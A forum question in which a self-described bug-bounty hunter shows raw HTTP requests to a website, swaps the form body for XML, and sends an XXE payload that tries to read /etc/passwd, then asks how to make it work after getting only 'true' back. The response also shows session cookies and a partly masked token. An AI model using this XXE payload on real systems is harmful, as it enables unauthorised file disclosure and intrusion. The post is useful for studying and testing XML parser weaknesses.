title: My XXE payload get no response about the file I want to exploit
body: <p>I am a hacker and now I am hunting for securty holes(bugs) to get the bounty. Yesterday, when I am bug hunting on a website, I saw a request like this:</p>
  
  <pre><code>POST /accounts/28605113/followers HTTP/1.1
  Host: example.com
  Connection: close
  Content-Length: 19
  Accept: */*
  Origin: https://example.com
  X-CSRF-Token: ch0+kD67DYFab7FmEeAn1RDh6DZUmI65S+K9CxuKTvg=
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Referer: https://example/watch/search?q=hackerone
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,vi;q=0.8
  Cookie: my_cookies
  
  account_id=28605113
  </code></pre>
  
  <p>I was thinking about testing for XXE:</p>
  
  <pre><code>POST /accounts/28605113/followers HTTP/1.1
  Host: example.com
  Connection: close
  Content-Length: 19
  Accept: */*
  Origin: https://example.com
  X-CSRF-Token: ch0+kD67DYFab7FmEeAn1RDh6DZUmI65S+K9CxuKTvg=
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  Content-Type: text/xml; charset=UTF-8
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Referer: https://example.com/watch/search?q=hackerone
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,vi;q=0.8
  Cookie: my_cookies
  
  &lt;?xml version="1.0" encoding="UTF-8"?&gt;
  &lt;account_id&gt;28605113&lt;/account_id&gt;
  </code></pre>
  
  <p>And awesome! It works! I was followed new user by using XML content ====> XXE vulnerability</p>
  
  <p>And then I decided to exploit it by this request:</p>
  
  <pre><code>POST /accounts/28605113/followers HTTP/1.1
  Host: example.com
  Connection: close
  Content-Length: 19
  Accept: */*
  Origin: https://example.com
  X-CSRF-Token: ch0+kD67DYFab7FmEeAn1RDh6DZUmI65S+K9CxuKTvg=
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  Content-Type: text/xml; charset=UTF-8
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Referer: https://example.com/watch/search?q=hackerone
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,vi;q=0.8
  Cookie: my_cookies
  
  &lt;?xml version="1.0" encoding="UTF-8"?&gt;
  &lt;!DOCTYPE foo [ &lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&gt; ]&gt;&lt;account_id&gt;&amp;xxe;&lt;/account_id&gt;
  </code></pre>
  
  <p>But i just get a response look like this:</p>
  
  <pre><code>HTTP/1.1 200 OK
  Server: openresty
  Content-Type: text/html; charset=utf-8
  Strict-Transport-Security: max-age=31536000
  X-Frame-Options: SAMEORIGIN
  X-UA-Compatible: IE=Edge,chrome=1
  ETag: "b326b5062b2f0e69046810717534cb09"
  Set-Cookie: _example_session_id=7e9aa24785793d803b3917a45377b0cb; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT; HttpOnly
  Set-Cookie: __cu_id=28945505; domain=.example.com; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT
  Set-Cookie: __cu_short_name=; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT
  Set-Cookie: __cu=%7B%22initial%22%3A%22%26%22%2C%22mixpanel_id%22%3A%2216e9cc289603ab-0a7935d33e069a-2393f61-15f900-16e9cc289614cb%22%2C%22created_at%22%3A1574588876%2C%22days_since_creation%22%3A0%2C%22plan_info%22%3A%7B%22id%22%3A-1%2C%22type%22%3A10%7D%2C%22features_with_plan%22%3A0%2C%22trial_info%22%3Anull%2C%22picture%22%3A%7B%22thumb_url%22%3Anull%7D%2C%22authorizationToken%22%3A%22b0128945505............................4bd802ced0b90c02e9c75e6284c87a32........................................1574588876164...........1574761676164...........YugborL0iXfMQ7sZDP2GWw%7E%7E00000000000000....................................%22%2C%22authorizationTokenExpiresAt%22%3A%222019-11-26T09%3A47%3A56.172Z%22%2C%22timezone%22%3A%22Asia%2FHo_Chi_Minh%22%7D; path=/; expires=Sun, 15-Dec-2019 13:01:05 GMT
  X-Request-Id: 9439a64c3fcbe97f7c061c68f35b6f79
  X-Runtime: 0.432708
  Content-Length: 4
  Date: Sun, 24 Nov 2019 13:01:05 GMT
  Connection: close
  X-Served-By: cache-jfk8121-JFK, cache-hkg17925-HKG
  X-Cache: MISS, MISS
  X-Cache-Hits: 0, 0
  X-Timer: S1574600465.789233,VS0,VE681
  Vary: Accept-Encoding
  Cache-Control: no-cache, no-store, private, must-revalidate, max-age=0, max-stale=0, post-check=0, pre-check=0
  Expires: 0
  Pragma: no-cache
  Age: 0
  Via: 1.1 varnish
  Accept-Ranges: bytes
  
  true
  </code></pre>
  
  <p>Not thing happens! The file I want to read doesn't appear. The only thing appears just a 'true' response.
  Look like my XXE payload isn't working. I have try a lot but it still doesn't work, nothing happens, just only that simple response. 
  Is there any hacker know how to exploit it, help me, please, I will thank you so much!
  (Sorry if bad English)</p>